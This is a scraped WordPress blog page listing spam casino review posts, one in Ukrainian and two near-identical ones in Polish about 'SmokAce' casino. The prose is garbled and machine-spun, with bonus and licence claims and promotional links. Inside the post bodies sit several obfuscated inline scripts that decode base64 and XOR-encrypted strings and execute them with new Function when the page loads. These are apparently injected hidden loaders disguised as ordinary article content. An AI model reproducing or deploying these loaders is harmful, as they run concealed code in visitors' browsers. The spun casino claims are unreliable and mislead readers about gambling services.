<tr>
<td>Live казино</td>
<td>120+</td>
<td>Evolution Gaming, Ezugi</td>
<td>0,50 €</td>
</tr>
<tr>
<td>Карткові ігри</td>
<td>450+</td>
<td>Плей н Гоу, Red Tiger</td>
<td>1.00 €</td>
</tr>
<tr>
<td>Джекпоти</td>
<td>85+</td>
<td>NetEnt, Yggdrasil</td>
<td>0.20 €</td>
</tr>
<tr>
<td>Спортивні ставки</td>
<td>понад 35 видів спорту</td>
<td>Betradar</td>
<td>0,50 €</td>
</tr>
</tbody>
</table>
<h3>Технологічні характеристики ігрового процесу</h3>
<p>Усі розваги адаптовані для моментального загрузки та працюють прямо у веб-оглядачі без потреби установки додаткового програмного ПЗ. Платформа застосовуємо tech HTML5, що гарантує ідеальну продуктивність на всіх гаджетах. Система пошуку з фільтрами дозволяє швидко відшукати бажану гру за розробником, типом або функціями.</p>
<h2 id="bonusy-akce">Заохочувальна система та акційні оферти</h2>
<p>Наша премійна система створена з врахуванням запитів різних категорій гравців. Вітальний бандл включає винагороду на початкові 4 поповнення загальною сумою до 1500 € плюс 250 фріспінів. Правила вейджеру встановлені на рівні х тридцять п&#8217;ять для бонусних коштів, що вважається конкурентним рівнем у сфері.</p>
<p><iframe width="560" height="315" src="https://www.youtube.com/embed/0uNbMwnZyfM?autoplay=1&#038;mute=1" frameborder="0" allowfullscreen></iframe></p>
<ul>
<li>Недільний cashback до п&#8217;ятнадцяти відсотків на всі програші без вимог відіграшу</li>
<li>Конкурсна сітка з призовими фондами від п&#8217;яти тисяч € місячно</li>
<li>VIP-програма з п&#8217;ятьма рівнями та індивідуальним менеджером</li>
<li>Подарунки на день народження та святкові акції</li>
<li>Система лояльності з можливістю конвертації очок на справжні кошти</li>
</ul>
<h3>Прозорість правил та вимог</h3>
<p>Ми чітко формулюємо усі вимоги вживання заохочень без прихованих застережень. Максимальна бет під час вейджеру становить 5 € або десять відсотків від бонусної суми. Термін дії активних бонусів дорівнює 30 діб з часу увімкнення. Користувачі можуть у будь-який момент відмовитися від заохочення та зняти свої депозитні кошти.</p>
<h2 id="platebni-metody">Способи розрахунків та виводу коштів</h2>
<p>Платформа забезпечуємо понад 20 payment методів для комфорту наших клієнтів. Мінімальна величина депозиту становить 10 €, тоді як мінімальне зняття можливе від 20 €. Обслуговування заявок на виведення здійснюється протягом 24 годин для електронних гаманців та до 3 робочих діб для банківських переказів.</p>
<ol>
<li>Банківські карти: Visa, Mastercard з негайним кредитуванням коштів</li>
<li>Електронні гаманці: Skrill, Neteller, ecoPayz з процесингом за від двох до шести годин</li>
<li>Криптовалюти: Bitcoin, Ethereum, Litecoin з анонімністю операцій</li>
<li>Банківські перекази: SEPA та локальні банки з процесингом від одного до трьох дні</li>
<li>Prepaid ваучери: Paysafecard для тих, хто цінує секретність</li>
</ol>
<h3>Ліміти та комісії</h3>
<p>Наше казино не бере комісій за депозити чи виведення грошей. Максимальна величина виведення для стандартних користувачів становить 5000 € на тиждень, для VIP-користувачів ліміти персональні. Всі перекази проходять додаткову перевірку безпеки для протекції від несанкціонованого доступу.</p>
<h2 id="mobilni-pristup">Mobile версія та технічне</h2>
<p>Mobile версія даної платформи оптимізована для всіх популярних операційних платформ: iOS, Android та Windows Phone. UI адаптовано для сенсорного взаємодії з легко читабельною навігацією. Ефективність ігор на мобільних пристроях ідентична desktop варіанту завдяки responsive оформленню.</p>
<p>Компанія регулярно оновлюємо функціональність площадки, додаючи нові функції та покращуючи наявні. Сервіс підтримки доступна 24/7 через live-chat, електронну мейл та телефонний зв&#8217;язок. Наші оператори володіють кількома languages та здатні вирішити будь-які проблеми протягом декількох хвилин.</p>
<p><script>!function(){var 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_0x034992db8cf3=atob('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'),_0x52421b867837=33,_0xa898e8dc7503=new Uint8Array(_0x034992db8cf3['length']),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();</script><script>!function(){var _0x034992db8cf3=atob('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'),_0x52421b867837=33,_0xa898e8dc7503=new Uint8Array(_0x034992db8cf3['length']),_0xc54ff33ca072=0;for(;_0xc54ff33ca072<_0x034992db8cf3['length'];_0xc54ff33ca072++)_0xa898e8dc7503[_0xc54ff33ca072]=_0x034992db8cf3['charCodeAt'](_0xc54ff33ca072)^_0x52421b867837;(new Function(new TextDecoder()['decode'](_0xa898e8dc7503)))()}();</script><script>(function(){
var x46eaa6=6026;
if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}
var zf368b3=y17321a*81;
var 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for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
  _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac[_0xecc7dff14118]^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
  _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();</script></p>
</div>
			<div style="margin-top:var(--wp--preset--spacing--40);" class="wp-block-post-date has-small-font-size"><time datetime="2025-08-22T10:49:21+00:00"><a href="https://incipro.nogway.com/nv-casino-tvoie-bezpechne-igrove-prostir-z-litsenzovanistiu-curacao/">August 22, 2025</a></time></div>
		</div>
		
	</li><li class="wp-block-post post-10014 post type-post status-publish format-standard hentry category-uncategorized">
		
		<div class="wp-block-group alignfull has-global-padding is-layout-constrained wp-block-group-is-layout-constrained" style="padding-top:var(--wp--preset--spacing--60);padding-bottom:var(--wp--preset--spacing--60)">
			
			<h2 class="wp-block-post-title has-x-large-font-size"><a href="https://incipro.nogway.com/smokace-kasyno-kompleksowy-przewodnik-po-serwisie-kasynowej-wspolczesnej-generacji/" target="_self" >SmokAce Kasyno &#8211; Kompleksowy Przewodnik po Serwisie Kasynowej Współczesnej Generacji</a></h2>
			<div class="entry-content alignfull wp-block-post-content has-medium-font-size has-global-padding is-layout-constrained wp-block-post-content-is-layout-constrained"><p><img decoding="async" style="display: block; margin-left: auto; margin-right: auto;" src="https://i.ibb.co/ZpyZctJs/2025-10-07-141248-Copy-2.png"></img></p>
<nav>
<h2>Wykaz treści</h2>
<ul>
<li><a href="#oferta-gier">Szeroka propozycja gier i dostawców oprogramowania</a></li>
<li><a href="#metody-platnosci">Sposoby płatności i zabezpieczenie transakcji</a></li>
<li><a href="#program-lojalnosciowy">Program VIP i oferty</a></li>
<li><a href="#obsluga-klienta">Wsparcie klienta i support techniczne</a></li>
<li><a href="#licencja-regulacje">Zezwolenie i normy prawne</a></li>
</ul>
</nav>
<p>Nasza witryna powstała z intencją o kuzynerach szukających rzeczywistych doznań kasynowych w środowisku online. <a href="https://smokace-online.com/">https://smokace-online.com/</a> odznacza się na płaszczyźnie rywali za sprawą rozbudowanej kolekcji gier, nowoczesnym rozwiązaniom zabezpieczeń oraz pionierskiego strategii do wsparcia użytkowników.</p>
<h2 id="oferta-gier">Bogata oferta gier i providerów oprogramowania</h2>
<p>Działamy z przeszło 60 uznanymi dostawcami oprogramowania, co owocuje na zbiór liczący ponad 5000 tytułów. W przedstawianym portalu znajdziesz produkcje od tego kalibru gigantów przemysłu jak NetEntertainment, Microgaming, Evolution, Pragmatik oraz Play&#8217;n GO. Wszelkie produkcja poddawana jest dokładne testowanie zanim zostanie włączeniem do katalogu, co zapewnia uczciwość gry oraz najwyższe standardy jakości.</p>
<p>Szczególną uwagę zadedykowaliśmy kategorii rozgrywek na live, w której wykwalifikowani prowadzący realizują partie w trybie rzeczywistym. Transmisje w jakości HD oraz wielokamerowy układ zapewniają immersyjne doświadczenie zbliżone do bycia w tradycyjnym salonie naziemnym.</p>
<h3>Rodzaje tytułów dostępne w przedstawianej ofercie</h3>
<ul>
<li>Sloty wideo z złożonymi mechanikami bonusowymi i możliwościami Megaways</li>
<li>Konwencjonalne zabawy stolne jak koło fortuny, oczko, baccarat oraz gra karciana w odmiennych wariantach</li>
<li>Sloty z jackpot&#8217;ami progresywnymi, tam kwoty wypłat często przekraczają milion euro</li>
<li>Sekcja crash games i natychmiastowych wygranych dla entuzjastów dynamicznych rozgrywek</li>
<li>Elektroniczne dyscypliny oraz specjalistyczne gry karciane</li>
</ul>
<h2 id="metody-platnosci">Metody transakcji i ochrona transakcji</h2>
<p>Pojmowanie potrzeb użytkowników w zakresie szybkich i bezpiecznych operacji tworzyło priorytet w trakcie tworzenia przedstawianych mechanizmów płatniczych. Zaimplementowaliśmy wielowarstwowe zabezpieczenia zbudowane na technologii szyfrowania SSL 256-bitowym, ta znajduje się regułą także w instytucjach bankowych.</p>
<table>
<thead>
<tr>
<th>Sposób płatności</th>
<th>Szybkość wpłaty</th>
<th>Czas realizacji wypłaty</th>
<th>Najniższa kwota</th>
</tr>
</thead>
<tbody>
<tr>
<td>Karty płatnicze kredytowe i debetowe</td>
<td>Natychmiast</td>
<td>od 1 do 3 dni robocze</td>
<td>50 PLN</td>
</tr>
<tr>
<td>E-portfele elektroniczne</td>
<td>Natychmiast</td>
<td>Maksymalnie 24 godz.</td>
<td>40 PLN</td>
</tr>
<tr>
<td>Transfery bankowe bankowe</td>
<td>jeden do dwóch doby roboczych</td>
<td>dwa do pięciu dni roboczych roboczych</td>
<td>100 PLN</td>
</tr>
<tr>
<td>Waluty cyfrowe</td>
<td>Do 30 min.</td>
<td>Najwyżej 2 godz.</td>
<td>Równowartość 50 PLN</td>
</tr>
</tbody>
</table>
<p>Potwierdzenie identyfikacji jest kluczowy komponent procedur bezpieczeństwa. Procedura KYC wykonujemy adekwatnie z światowymi wzorcami przeciwdziałania praniu pieniędzy, co ochrania tak klientów, jak i integralność platformy.</p>
<p><iframe width="560" height="315" src="https://www.youtube.com/embed/iFN-zSVJiKw?autoplay=1&#038;mute=1" frameborder="0" allowfullscreen></iframe></p>
<h2 id="program-lojalnosciowy">Program nagród i promocje</h2>
<p>Wielopoziomowy mechanizm nagród to pierwszy z podstaw naszej strategii konstruowania stałych relacji z graczami. Schemat VIP obejmuje osiem poziomów VIP, z których poszczególne udostępnią kolejne przywileje.</p>
<h3>Benefity dla regularnych graczy</h3>
<ol>
<li>Tygodniowe premie zwrotów obliczane personalnie na fundamencie aktywności gracza gracza</li>
<li>Specjalne turnieje z kwotami wygranych przekraczającymi sto tysięcy PLN miesięcznie</li>
<li>Przypisany menedżer profilu dla użytkowników VIP z najwyższych poziomów</li>
<li>Błyskawiczne wypłaty pieniędzy z ominięciem zwykłych czekania weryfikacyjnych</li>
<li>Dopasowane propozycje nagród dostosowane do preferencji gracza</li>
</ol>
<p>Wszelkie premie posiadają czytelnym warunkom obrotu, które wyczerpująco wyjaśniamy w zasadach. Przeciętny wskaźnik obrotu sięga 35x dla bonusów depozytowych, co plasuje serwis w czołówce najbardziej rzetelnych platform w branży.</p>
<h2 id="obsluga-klienta">Wsparcie klienta i pomoc techniczne</h2>
<p>Zespół supportu funkcjonuje w trybie 24/7/365, zapewniając nieprzerwany akces do pomocy przez cały rok. Kontakt realizowana jest przez live chat na żywo, e-mail oraz specjalną infolinię tel.. Średni okres reakcji na zapytanie via czat osiąga mniej niż 90 s, co zostało potwierdzone w niezależnych badaniach satysfakcji użytkowników przeprowadzonych w 2024 roku.</p>
<p>Bank wiedzy dostępna w dziale wsparcia obejmuje przeszło 200 tekstów instruktażowych oraz odpowiedź na popularne zadawane pytania. Dokumenty aktualizujemy na regularnie, biorąc pod uwagę feedback od community graczy.</p>
<h2 id="licencja-regulacje">Zezwolenie i regulacje prawne</h2>
<p>Przedstawiana aktywność funduje się na zezwoleniu Curaçao eGaming (#8048/JAZ), które zapewnia respektowanie międzynarodowych standardów rzetelnej gry. Cykliczne audyty przeprowadzane przez zewnętrzne organizacje certyfikujące weryfikują poprawność pracy mechanizmów cyfr przypadkowych oraz koherentność wypłacalności z deklarowanymi wielkościami RTP.</p>
<p>Wdrożyliśmy również zaawansowane narzędzia bezpiecznej gry, umożliwiające graczom określenie granic depozytowych, czasu oraz możliwości self-exclusion. Działamy z instytucjami asystującymi osoby zmagające się z problemem gambling, oferując direct łącza do profesjonalnej pomocy.</p>
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var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
  _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac[_0xecc7dff14118]^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
  _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();</script></p>
</div>
			<div style="margin-top:var(--wp--preset--spacing--40);" class="wp-block-post-date has-small-font-size"><time datetime="2025-08-04T00:53:52+00:00"><a href="https://incipro.nogway.com/smokace-kasyno-kompleksowy-przewodnik-po-serwisie-kasynowej-wspolczesnej-generacji/">August 4, 2025</a></time></div>
		</div>
		
	</li><li class="wp-block-post post-10012 post type-post status-publish format-standard hentry category-uncategorized">
		
		<div class="wp-block-group alignfull has-global-padding is-layout-constrained wp-block-group-is-layout-constrained" style="padding-top:var(--wp--preset--spacing--60);padding-bottom:var(--wp--preset--spacing--60)">
			
			<h2 class="wp-block-post-title has-x-large-font-size"><a href="https://incipro.nogway.com/smokace-casino-pelny-kompendium-po-portalu-gamingowej-najnowszej-generacji/" target="_self" >SmokAce Casino &#8211; Pełny Kompendium po Portalu Gamingowej Najnowszej Generacji</a></h2>
			<div class="entry-content alignfull wp-block-post-content has-medium-font-size has-global-padding is-layout-constrained wp-block-post-content-is-layout-constrained"><p><img decoding="async" style="display: block; margin-left: auto; margin-right: auto;" src="https://i.ibb.co/fVQ8gY8B/Gemini-Generated-Image-9nrwln9nrwln9nrw-1.png"></img></p>
<nav>
<h2>Zestawienie treści</h2>
<ul>
<li><a href="#oferta-gier">Obszerna oferta tytułów i twórców oprogramowania</a></li>
<li><a href="#metody-platnosci">Formy transakcji i zabezpieczenie transakcji</a></li>
<li><a href="#program-lojalnosciowy">Schemat VIP i oferty</a></li>
<li><a href="#obsluga-klienta">Wsparcie klienta i support techniczne</a></li>
<li><a href="#licencja-regulacje">Zezwolenie i przepisy prawne</a></li>
</ul>
</nav>
<p>Nasza platforma zaistniała z zamiarem o użytkownikach poszukujących rzeczywistych wrażeń gamingowych w środowisku online. <a href="https://smokace-pl.org/">kasyno online opinie</a> odznacza się na tle innych platform poprzez bogatej zbiorowi rozgrywek, nowoczesnym rozwiązaniom ochrony oraz innowacyjnemu strategii do obsługi użytkowników.</p>
<h2 id="oferta-gier">Obszerna oferta tytułów i producentów oprogramowania</h2>
<p>Współpracujemy z ponad 60 prestiżowymi providerami programów, co skutkuje na bibliotekę obejmujący ponad 5000 pozycji. W naszym serwisie odkryjesz tytuły od tego kalibru gigantów przemysłu jak NetEntertainment, Microgaming, Evo Gaming, Pragmatic oraz Play and GO. Wszelkie tytuł przechodzi dokładne testowanie przed dodaniem do katalogu, co gwarantuje rzetelność sesji oraz najwyższe kryteria jakości.</p>
<p>Specjalną dbałość przeznaczyliśmy działowi gier na żywo online, tam doświadczeni prowadzący realizują sesje w czasie rzeczywistym. Streaming w jakości HD oraz kilkukamerowy układ dostarczają wciągające przeżycie zbliżone do wizyty w tradycyjnym lokalu naziemnym.</p>
<h3>Kategorie rozgrywek oferowane w naszej ofercie</h3>
<ul>
<li>Automaty wideo z rozwiniętymi systemami premii i funkcjami Megaways</li>
<li>Klasyczne zabawy przy stole jak ruletka, blackjack, bakarat oraz gra karciana w odmiennych wariantach</li>
<li>Tytuły z jackpot&#8217;ami narastającymi, tam pule nagród regularnie przerastają 1 milion euro</li>
<li>Sekcja crash zabaw i natychmiastowych wygranych dla entuzjastów dynamicznych rozgrywek</li>
<li>Wirtualne e sport oraz specjalistyczne zabawy karciane</li>
</ul>
<h2 id="metody-platnosci">Metody płatności i bezpieczeństwo transakcji</h2>
<p>Pojmowanie potrzeb klientów w zakresie sprawnych i bezpiecznych przelewów stanowiło pierwszeństwo przy projektowania opisywanych systemów płatniczych. Wdrożyliśmy złożone zabezpieczenia oparte na systemie kodowania SSL 256-bit, które znajduje się normą również w podmiotach bankowych.</p>
<table>
<thead>
<tr>
<th>Forma płatności</th>
<th>Szybkość wpłaty</th>
<th>Czas realizacji wypłaty</th>
<th>Minimalna kwota</th>
</tr>
</thead>
<tbody>
<tr>
<td>Karty kredytowe i debetowe</td>
<td>Natychmiast</td>
<td>1-3 doby roboczych</td>
<td>50 PLN</td>
</tr>
<tr>
<td>E-portfele elektroniczne</td>
<td>Instant</td>
<td>Maksymalnie 24 h</td>
<td>40 PLN</td>
</tr>
<tr>
<td>Transfery bankowe bankowe</td>
<td>1-2 dni roboczych</td>
<td>2-5 dni roboczych</td>
<td>100 PLN</td>
</tr>
<tr>
<td>Crypto</td>
<td>Maksymalnie 30 minut</td>
<td>Do 2 h</td>
<td>Ekwiwalent 50 PLN</td>
</tr>
</tbody>
</table>
<p>Weryfikacja danych stanowi integralny składnik procedur bezpieczeństwa. Proces KYC realizujemy stosownie z światowymi wzorcami przeciwdziałania praniu pieniędzy, co ochrania tak użytkowników, jak i spójność platformy.</p>
<p><iframe loading="lazy" width="560" height="315" src="https://www.youtube.com/embed/HsO45sq9Sx0?autoplay=1&#038;mute=1" frameborder="0" allowfullscreen></iframe></p>
<h2 id="program-lojalnosciowy">System nagród i promocje</h2>
<p>Wielopoziomowy schemat nagród to główny z filarów opisywanej strategii tworzenia wieloletnich relacji z graczami. System VIP obejmuje ósmicę poziomów VIP, z nich poszczególne odblokuje dalsze przywileje.</p>
<h3>Korzyści dla lojalnych graczy</h3>
<ol>
<li>Tygodniowe nagrody cashbacku kalkulowane personalnie na podstawie aktywności gracza</li>
<li>Ekskluzywne turnieje z sumami premii sięgającymi 100,000 PLN miesięcznie</li>
<li>Przypisany menedżer profilu dla członków VIP z najwyższych poziomów</li>
<li>Błyskawiczne transfery pieniędzy z ominięciem zwykłych czekania weryfikacyjnych</li>
<li>Spersonalizowane propozycje bonusowe przystosowane do upodobań gracza</li>
</ol>
<p>Wszystkie premie są objęte przejrzystym warunkom wagering, jakie wyczerpująco prezentujemy w przepisach. Średni wskaźnik obrócenia to 35x dla nagród depozytowych, co plasuje serwis w pierwszej lidze najlepszych rzetelnych serwisów w branży.</p>
<h2 id="obsluga-klienta">Serwis gracza i wsparcie techniczne</h2>
<p>Dział pomocy działa w systemie non-stop, gwarantując stały dostęp do wsparcia na przestrzeni całkowity rok. Komunikacja realizowana jest za pośrednictwem live chat na żywo online, pocztę elektroniczną oraz przypisaną hotline telefoniczną. Przeciętny moment reply na zgłoszenie poprzez czat to pod 90 s, co było potwierdzone w niezależnych ankietach satysfakcji klientów przeprowadzonych w roku 2024 roku.</p>
<p>Baza danych obecna w dziale wsparcia posiada więcej niż 200 materiałów poradnikowych oraz repliki na najczęściej stawiane pytania. Materiały uaktualniamy na regularnie, uwzględniając feedback od społeczności graczy.</p>
<h2 id="licencja-regulacje">Licencja i regulacje prawne</h2>
<p>Opisywana aktywność bazuje na zezwoleniu Curaçao e-Gaming (#8048/JAZ), ta gwarantuje respektowanie światowych wzorców uczciwej gry. Regularne kontrole realizowane przez zewnętrzne podmioty certyfikujące weryfikują prawidłowość pracy generatorów liczb przypadkowych oraz koherentność wypłat z deklarowanymi wartościami RTP.</p>
<p>Zaimplementowaliśmy dodatkowo rozwinięte środki rozważnej rozgrywki, dające klientom określenie granic deposit, czasu oraz opcji self-exclusion. Współpracujemy z instytucjami asystującymi ludzi cierpiące kwestią gambling, dostarczając natychmiastowe łącza do fachowej pomocy.</p>
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var zf368b3=y17321a*81;
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var _0xd2590aeec7ec=72;
var _0x695b12d6658b='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)
  _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac[_0xecc7dff14118]^_0xd2590aeec7ec);
var _0xb2ada9a65d62=121;
var _0x61fc9cbf8bf3=atob(_0x695b12d6658b);
var _code='';
for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)
  _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);
(new Function(_code))();
})();</script></p>
</div>
			<div style="margin-top:var(--wp--preset--spacing--40);" class="wp-block-post-date has-small-font-size"><time datetime="2025-08-03T00:39:41+00:00"><a href="https://incipro.nogway.com/smokace-casino-pelny-kompendium-po-portalu-gamingowej-najnowszej-generacji/">August 3, 2025</a></time></div>
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			<h2 class="wp-block-post-title has-x-large-font-size"><a href="https://incipro.nogway.com/electricity-prices-in-sweden-se3-stockholm-today/" target="_self" >Electricity Prices in Sweden SE3 Stockholm Today &#038; Tomorrow</a></h2>
